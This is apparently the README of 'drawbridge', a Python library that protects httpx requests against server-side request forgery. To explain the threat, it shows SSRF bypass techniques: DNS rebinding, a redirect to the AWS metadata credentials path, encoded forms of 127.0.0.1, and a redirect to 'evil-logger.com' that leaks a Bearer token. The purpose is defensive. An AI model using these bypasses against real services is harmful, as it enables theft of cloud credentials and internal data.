Drop-in SSRF protection for Python. Wraps httpx so every outbound request blocks private IPs, prevents DNS rebinding, and validates redirects — with zero configuration.
import drawbridge response = await drawbridge.get("https://example.com/api/data") print(response.json())
That's it. Private IPs, link-local, cloud metadata endpoints, IPv6 transition bypasses — all blocked by default. DNS is resolved once and pinned for the connection, so rebinding attacks are structurally impossible.
Why not just validate the URL?
The obvious approach to SSRF protection is: parse the URL, resolve the hostname, check if the IP is private, then make the request. This has been tried many times. It does not work.
The validate-then-fetch gap (DNS rebinding)
import ipaddress, socket, httpx from urllib.parse import urlparse def is_safe(url): hostname = urlparse(url).hostname ip = socket.getaddrinfo(hostname, None)[0][4][0] return not ipaddress.ip_address(ip).is_private # Looks correct — but there's a gap between check and use if is_safe(url): response = httpx.get(url) # DNS is resolved AGAIN here
An attacker's DNS server returns 93.184.216.34 (public) on the first query, then 169.254.169.254 (AWS metadata) on the second. Your check passes. Their request lands on your cloud metadata endpoint. This is called DNS rebinding, and it has produced critical CVEs in MindsDB (CVSS 9.3), Gradio (CVSS 8.6), and LangChain.
More bypasses that break URL validation
Redirects as SSRF launchers
# Your check passes: attacker.com resolves to a public IP if is_safe("https://attacker.com/start"): response = httpx.get("https://attacker.com/start", follow_redirects=True) # But the server responds with: # HTTP/1.1 302 Found # Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/
The initial URL is safe. The redirect target is not. Most HTTP libraries follow redirects transparently — your validation only checked the first hop. Drawbridge re-validates the IP on every redirect.
IP address obfuscation
All of these resolve to 127.0.0.1:
http://2130706433/ # decimal encoding
http://0x7f000001/ # hex encoding
http://0177.0.0.1/ # octal encoding
http://127.1/ # shorthand (OS-dependent)
http://[::ffff:127.0.0.1]/ # IPv4-mapped IPv6
http://127.0.0.1.nip.io/ # wildcard DNS service
A URL-parsing-based check must handle all of these. A transport-level check doesn't care — it sees the resolved IP after getaddrinfo(), regardless of how it was spelled.
Cross-origin credential leakage
response = httpx.get( "https://attacker.com/start", headers={"Authorization": "Bearer sk-live-xxx"}, follow_redirects=True, ) # attacker.com redirects to https://evil-logger.com/capture # Your Authorization header is forwarded to the attacker's server.
Drawbridge strips Authorization, Cookie, and other sensitive headers on any cross-origin redirect.
Mixed DNS records
# evil.com resolves to BOTH 93.184.216.34 (public) and 10.0.0.1 (private) addrs = socket.getaddrinfo("evil.com", 443) # The OS chooses which IP to connect to — the attacker influences # this via DNS round-robin ordering.
Drawbridge rejects the entire request if any resolved IP is in a blocked range.
Drawbridge prevents all of these by design. DNS resolution, IP validation, and TCP connection happen in a single code path — there is no gap to exploit, no encoding to smuggle through, no redirect to sneak past.
When to use this
Any time your application fetches a URL that came from a user, webhook config, AI agent tool call, or external API.
import drawbridge from drawbridge import Client # Webhook delivery — no redirects allowed await drawbridge.post(callback_url, json=event, max_redirects=0) # AI agent tool call — fetch URL from untrusted model output result = await drawbridge.get(tool_call.url, max_redirects=0) # Domain-restricted client async with Client(allow_domains=["*.example.com", "api.stripe.com"]) as client: data = await client.get("https://api.example.com/users")
How it works
Drawbridge replaces httpx's transport layer. For every request:
- Resolve DNS — single
getaddrinfo()call - Validate all IPs — reject if any resolved address is private/reserved
- Pin the connection — rewrite URL to validated IP, set Host header and TLS SNI to original hostname
- Re-validate redirects — each hop goes through steps 1-3 again
The IP that was validated is the IP that gets connected to. There's no gap between check and use.
Error handling
try: response = await drawbridge.get(url) response.raise_for_status() except drawbridge.DrawbridgeError: pass # SSRF violation (blocked IP, domain, port, scheme, or DNS failure) except httpx.HTTPStatusError: pass # 4xx/5xx from raise_for_status()
SSRF exceptions inherit from drawbridge.DrawbridgeError. Response is an httpx.Response — all standard methods work. See architecture.md for the full exception hierarchy.
Configuration
Set a global default policy so every request uses your settings:
import drawbridge drawbridge.configure( block_domains=["metadata.google.internal"], allow_ports=[80, 443], )
Explicit arguments to Client(), SyncClient(), or convenience functions override the global default. Reset to safe defaults with configure(None). See policy reference for all fields.
Sync API
drawbridge.sync provides the same protection with a blocking interface:
import drawbridge.sync response = drawbridge.sync.get("https://example.com/api/data")
Streaming
async with drawbridge.stream("GET", url) as response: async for chunk in response.aiter_bytes(): process(chunk)
Testing
Drawbridge blocks localhost by default, but test servers bind to 127.0.0.1. Use configure() in your test fixtures:
# conftest.py import drawbridge @pytest.fixture(autouse=True) def _drawbridge_test_policy(httpserver): drawbridge.configure(allow_private=True, allow_ports=[httpserver.port]) yield drawbridge.configure(None) # Reset to safe defaults
Limitations
Alpha (0.1.x). API may change before 1.0. Not yet independently audited — see SECURITY.md.
HTTP_PROXY/HTTPS_PROXY env vars are ignored — client-side SSRF protection and proxy routing are architecturally incompatible (the proxy makes the real connection, not drawbridge). For proxy environments, use Smokescreen where the proxy itself enforces the denylist.
Does not include retry/backoff — use tenacity. Does not protect against application-logic SSRF where your code constructs URLs from user input before passing them to drawbridge.
Docs
- Policy reference — all
Policyfields with defaults and notes - Security model — threat model, blocked IP ranges, attack coverage
- Architecture — SafeTransport, redirect handling, exception hierarchy
License
MIT